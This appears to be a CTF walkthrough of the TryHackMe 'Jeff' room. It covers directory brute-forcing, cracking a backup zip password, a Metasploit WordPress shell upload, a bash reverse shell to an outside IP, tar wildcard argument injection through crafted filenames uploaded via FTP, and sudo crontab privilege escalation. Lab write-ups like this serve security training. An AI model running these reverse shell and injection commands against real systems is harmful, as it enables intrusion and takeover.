Today in this writeup I gonna solve the TryHackMe Jeff Room it is a Hard room and I spend around two days on it and got some help from the community bypassing docker. Complete the jeff challenge lets get started.

TryHackMe Jeff Walkthrough

Answer the questions below

Hack the machine and obtain the user.txt flag.

HAck It

Escalate your privileges, whats the root flag?

HAck it

Attack Description

Hi guys today I will explain how to complete the TryHackMe Room Jeff. When the machine boots scan the host using nmap and try to detect the open ports and services running on port 22 and 80. if we open the IP on firefox we notice it redirects to jeff.thm, add this host on /etc/hosts.

┌──(kali㉿PopLabSec)-[~]
└─$ sudo echo "10.10.10.125    jeff.thm" >> /etc/hosts

Scan the Host

After add the IP address in hosts file it’s time scann the host using nmap. As we can see we have two open ports.

On port 22 we have SSH 7.6p1 server running and on port 80 nginx as webserver. Let’s enumerate the webserver in order to find files and folders to investigate.

NGINX Enumeration

Open the jeff.thm domain on Firefox and investigate the website, I can’t find nothing useful on source code or robots.txt. Let’s use gobuster and enumerate system folders.

Bruteforcing Folders using gobuster

Open your terminal and execute the following command to find folders on NGINX webserver.

┌──(kali㉿PopLabSec)-[~]
└─$ gobuster dir -u http://jeff.thm -w /usr/share/wordlists/dirb/common.txt 

The gobuster output detect some interesting folders, now let’s try to search jucy files inside each folder.

Admin Folder

Execute gobuster command to search for files inside admin folder:

┌──(kali㉿PopLabSec)-[~]
└─$ gobuster dir -u http://jeff.thm/admin/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt 

Nothing useful inside tryhackme jeff admin folder, we just get the admin login page, i’ve tryed to brute force it without success.

Assets Folder

It’s time enumerate the backup folder, execute:

┌──(kali㉿PopLabSec)-[~]
└─$ gobuster dir -u http://jeff.thm/assets/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt

Backups folder was empty, move to the next folder.

Uploads Folder

┌──(kali㉿PopLabSec)-[~]
└─$ gobuster dir -u http://jeff.thm/uploads/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt

BackUp Folder

┌──(kali㉿PopLabSec)-[~]
└─$ gobuster dir -u http://jeff.thm/backups/ -x zip,bak,old,php -w /usr/share/wordlists/dirb/common.txt

After searching for files inside all detected folders only the backups folder gave me something interesting a backup.zip file, let’s download the file.

Download Backup.zip file

┌──(kali㉿PopLabSec)-[~]
└─$ wget http://jeff.thm/backups/backup.zip

┌──(kali㉿PopLabSec)-[~]
└─$ unzip backup.zip 

┌──(kali㉿PopLabSec)-[~]
└─$ zip2john backup.zip > backup.hash

┌──(kali㉿PopLabSec)-[~]
└─$ john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt

After unzip the backup.zip file with correct password we have a backup file from a WordPress blog.

cat wpadmin.bak 

Inside the backup file we have a wordpress password

Enumerate VHOSTS

gobuster vhost -u http://jeff.thm -w /usr/share/wordlists/dirb/common.txt 

Attack WordPress

After we add the new virtaul host info inside our /etc/hosts file we can access a new blog on the same server using WordPress CMS, if you have doubts on how to attack WordPress webite read my article about it.

┌──(kali㉿PopLabSec)-[~]
└─$ firefox http://wordpress.jeff.thm

Here we notice a one WordPress user called Jeff.

Let’s test our credentials

username : jeff - found as wordpress user
password : XXX-RFS-XXX password was found inside wpadmin.bck file

wpscan --url http://wordpress.jeff.thm -e u

Get a Reverse Shell

metasploit

msf6 > use unix/webapp/wp_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp

msf6 exploit(unix/webapp/wp_admin_shell_upload) > options

set PASSWORD XXX-RFS-XXX
set USERNAME jeff
set RHOSTS wordpress.jeff.thm
run

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.154.49/6666 0>&1'");

nc -lpn 6666

ftp_backup.php

Bypass Docker Container

use exploit/multi/handler
set lhost tun0
set lport 4444

curl -v -P - -T "/var/www/html/shell.sh" 'ftp://backupmgr:[email protected]/files/'

curl -v -P - -T "/var/www/html/--checkpoint=1" 'ftp://backupmgr:[email protected]/files/'

curl -v -P - -T "/var/www/html/--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:[email protected]/files/'

[email protected]:~/.ftp/files$ python -c "import pty;pty.spawn('/bin/bash')"

[email protected]:~/.ftp/files$ export TERM=xterm

[email protected]:/opt/systools$ ln -sf /var/backups/jeff.bak message.txt

b[email protected]:/opt/systools$ ssh [email protected] -t "bash -l"

jeff@tryharder:~$ export PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin

[email protected]:~$ /bin/cat user.txt

THM{HashMeLikeOneOfYour-RFS}

Privilege Escalation

[email protected]:~$ /usr/bin/sudo -l

[email protected]:~$ sudo /usr/bin/crontab -e

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